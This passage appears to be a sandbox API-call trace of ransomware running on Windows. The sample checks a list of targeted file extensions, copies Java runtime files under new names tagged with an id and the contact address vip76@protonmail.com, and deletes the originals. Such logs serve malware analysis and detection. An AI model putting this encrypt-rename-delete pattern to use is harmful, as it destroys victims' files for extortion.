	[0177.885] GetLastError () returned 0x0
	[0177.885] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0xb28, lpOverlapped=0x0) returned 1
	[0177.886] WriteFile (in: hFile=0x554, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xb30, lpOverlapped=0x0) returned 1
	[0177.888] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.888] WriteFile (in: hFile=0x554, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0177.888] SetEndOfFile (hFile=0x554) returned 1
	[0177.888] CloseHandle (hObject=0x554) returned 1
	[0177.888] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.888] SetEndOfFile (hFile=0x5b4) returned 1
	[0177.892] CloseHandle (hObject=0x5b4) returned 1
	[0177.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0177.892] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 1
	[0177.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0177.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0177.895] lstrlenW (lpString=".doc") returned 4
	[0177.896] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1
	[0177.896] lstrlenW (lpString=".docx") returned 5
	[0177.896] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1
	[0177.896] lstrlenW (lpString=".pdf") returned 4
	[0177.896] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1
	[0177.896] lstrlenW (lpString=".xls") returned 4
	[0177.896] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1
	[0177.896] lstrlenW (lpString=".xlsx") returned 5
	[0177.896] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1
	[0177.896] lstrlenW (lpString=".ppt") returned 4
	[0177.896] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1
	[0177.896] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0177.896] lstrlenW (lpString=".zip") returned 4
	[0177.896] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1
	[0177.896] lstrlenW (lpString=".rar") returned 4
	[0177.896] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1
	[0177.896] lstrlenW (lpString=".bz2") returned 4
	[0177.896] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1
	[0177.896] lstrlenW (lpString=".7z") returned 3
	[0177.896] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1
	[0177.896] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0177.896] lstrlenW (lpString=".dbf") returned 4
	[0177.896] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1
	[0177.896] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0177.896] lstrlenW (lpString=".1cd") returned 4
	[0177.896] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1
	[0177.896] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0177.896] lstrlenW (lpString=".jpg") returned 4
	[0177.897] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1
	[0177.897] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0177.897] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0177.897] lstrlenW (lpString=".doc") returned 4
	[0177.897] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1
	[0177.897] lstrlenW (lpString=".docx") returned 5
	[0177.897] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1
	[0177.897] lstrlenW (lpString=".pdf") returned 4
	[0177.897] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1
	[0177.897] lstrlenW (lpString=".xls") returned 4
	[0177.897] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1
	[0177.897] lstrlenW (lpString=".xlsx") returned 5
	[0177.897] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1
	[0177.897] lstrlenW (lpString=".ppt") returned 4
	[0177.897] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1
	[0177.897] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0177.897] lstrlenW (lpString=".zip") returned 4
	[0177.897] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1
	[0177.897] lstrlenW (lpString=".rar") returned 4
	[0177.897] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1
	[0177.897] lstrlenW (lpString=".bz2") returned 4
	[0177.897] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1
	[0177.897] lstrlenW (lpString=".7z") returned 3
	[0177.897] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1
	[0177.897] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0177.897] lstrlenW (lpString=".dbf") returned 4
	[0177.898] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1
	[0177.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0177.898] lstrlenW (lpString=".1cd") returned 4
	[0177.898] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1
	[0177.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0177.898] lstrlenW (lpString=".jpg") returned 4
	[0177.898] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1
	[0177.898] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0177.898] lstrlenW (lpString="management.properties") returned 21
	[0177.898] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0177.899] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=14630) returned 1
	[0177.899] CloseHandle (hObject=0x5b4) returned 1
	[0177.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0x20
	[0177.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.899] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0177.900] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.900] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.900] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0177.900] GetLastError () returned 0x0
	[0177.901] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x3926, lpOverlapped=0x0) returned 1
	[0177.903] WriteFile (in: hFile=0x554, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x3930, lpOverlapped=0x0) returned 1
	[0177.905] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.905] WriteFile (in: hFile=0x554, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xfe, lpOverlapped=0x0) returned 1
	[0177.905] SetEndOfFile (hFile=0x554) returned 1
	[0177.905] CloseHandle (hObject=0x554) returned 1
	[0177.905] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.905] SetEndOfFile (hFile=0x5b4) returned 1
	[0177.908] CloseHandle (hObject=0x5b4) returned 1
	[0177.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0177.909] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 1
	[0178.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0178.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0178.211] lstrlenW (lpString=".doc") returned 4
	[0178.211] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0178.211] lstrlenW (lpString=".docx") returned 5
	[0178.211] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0178.211] lstrlenW (lpString=".pdf") returned 4
	[0178.211] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0178.211] lstrlenW (lpString=".xls") returned 4
	[0178.211] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0178.211] lstrlenW (lpString=".xlsx") returned 5
	[0178.211] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0178.211] lstrlenW (lpString=".ppt") returned 4
	[0178.211] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0178.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0178.211] lstrlenW (lpString=".zip") returned 4
	[0178.211] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0178.211] lstrlenW (lpString=".rar") returned 4
	[0178.211] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0178.211] lstrlenW (lpString=".bz2") returned 4
	[0178.211] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0178.211] lstrlenW (lpString=".7z") returned 3
	[0178.211] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0178.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0178.211] lstrlenW (lpString=".dbf") returned 4
	[0178.211] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0178.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0178.211] lstrlenW (lpString=".1cd") returned 4
	[0178.211] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0178.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0178.211] lstrlenW (lpString=".jpg") returned 4
	[0178.211] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0178.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0178.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0178.212] lstrlenW (lpString=".doc") returned 4
	[0178.212] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0178.212] lstrlenW (lpString=".docx") returned 5
	[0178.212] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0178.212] lstrlenW (lpString=".pdf") returned 4
	[0178.212] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0178.212] lstrlenW (lpString=".xls") returned 4
	[0178.212] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0178.212] lstrlenW (lpString=".xlsx") returned 5
	[0178.212] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0178.212] lstrlenW (lpString=".ppt") returned 4
	[0178.212] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0178.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0178.212] lstrlenW (lpString=".zip") returned 4
	[0178.212] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0178.212] lstrlenW (lpString=".rar") returned 4
	[0178.212] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0178.212] lstrlenW (lpString=".bz2") returned 4
	[0178.212] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0178.212] lstrlenW (lpString=".7z") returned 3
	[0178.212] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0178.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0178.212] lstrlenW (lpString=".dbf") returned 4
	[0178.212] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0178.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0178.212] lstrlenW (lpString=".1cd") returned 4
	[0178.212] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0178.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0178.212] lstrlenW (lpString=".jpg") returned 4
	[0178.212] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0178.213] lstrcmpiW (lpString1=".ja", lpString2=".html") returned 1
	[0178.213] lstrlenW (lpString="psfont.properties.ja") returned 20
	[0178.213] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.214] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=2796) returned 1
	[0178.214] CloseHandle (hObject=0x5b4) returned 1
	[0178.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 0x20
	[0178.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.215] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.215] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.215] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.215] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0178.216] GetLastError () returned 0x0
	[0178.216] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0xaec, lpOverlapped=0x0) returned 1
	[0178.217] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xaf0, lpOverlapped=0x0) returned 1
	[0178.218] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.218] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0178.219] SetEndOfFile (hFile=0x594) returned 1
	[0178.219] CloseHandle (hObject=0x594) returned 1
	[0178.219] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.219] SetEndOfFile (hFile=0x5b4) returned 1
	[0178.222] CloseHandle (hObject=0x5b4) returned 1
	[0178.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0178.222] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 1
	[0178.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0178.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0178.223] lstrlenW (lpString=".doc") returned 4
	[0178.223] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1
	[0178.223] lstrlenW (lpString=".docx") returned 5
	[0178.223] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1
	[0178.223] lstrlenW (lpString=".pdf") returned 4
	[0178.223] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1
	[0178.223] lstrlenW (lpString=".xls") returned 4
	[0178.223] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1
	[0178.223] lstrlenW (lpString=".xlsx") returned 5
	[0178.223] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1
	[0178.223] lstrlenW (lpString=".ppt") returned 4
	[0178.223] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1
	[0178.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0178.224] lstrlenW (lpString=".zip") returned 4
	[0178.224] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1
	[0178.224] lstrlenW (lpString=".rar") returned 4
	[0178.224] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1
	[0178.224] lstrlenW (lpString=".bz2") returned 4
	[0178.224] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1
	[0178.224] lstrlenW (lpString=".7z") returned 3
	[0178.224] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1
	[0178.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0178.224] lstrlenW (lpString=".dbf") returned 4
	[0178.224] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1
	[0178.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0178.224] lstrlenW (lpString=".1cd") returned 4
	[0178.224] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1
	[0178.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0178.224] lstrlenW (lpString=".jpg") returned 4
	[0178.224] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1
	[0178.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0178.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0178.224] lstrlenW (lpString=".doc") returned 4
	[0178.224] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1
	[0178.224] lstrlenW (lpString=".docx") returned 5
	[0178.224] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1
	[0178.224] lstrlenW (lpString=".pdf") returned 4
	[0178.224] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1
	[0178.224] lstrlenW (lpString=".xls") returned 4
	[0178.224] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1
	[0178.224] lstrlenW (lpString=".xlsx") returned 5
	[0178.224] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1
	[0178.224] lstrlenW (lpString=".ppt") returned 4
	[0178.224] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1
	[0178.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0178.225] lstrlenW (lpString=".zip") returned 4
	[0178.225] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1
	[0178.225] lstrlenW (lpString=".rar") returned 4
	[0178.225] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1
	[0178.225] lstrlenW (lpString=".bz2") returned 4
	[0178.225] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1
	[0178.225] lstrlenW (lpString=".7z") returned 3
	[0178.225] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1
	[0178.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0178.225] lstrlenW (lpString=".dbf") returned 4
	[0178.225] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1
	[0178.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0178.225] lstrlenW (lpString=".1cd") returned 4
	[0178.225] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1
	[0178.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0178.225] lstrlenW (lpString=".jpg") returned 4
	[0178.225] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1
	[0178.225] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0178.225] lstrlenW (lpString="psfontj2d.properties") returned 20
	[0178.225] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.226] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=10393) returned 1
	[0178.226] CloseHandle (hObject=0x5b4) returned 1
	[0178.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 0x20
	[0178.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.226] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.226] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.227] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.227] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0178.227] GetLastError () returned 0x0
	[0178.227] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2899, lpOverlapped=0x0) returned 1
	[0178.229] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x28a0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x28a0, lpOverlapped=0x0) returned 1
	[0178.230] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.230] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0178.230] SetEndOfFile (hFile=0x594) returned 1
	[0178.230] CloseHandle (hObject=0x594) returned 1
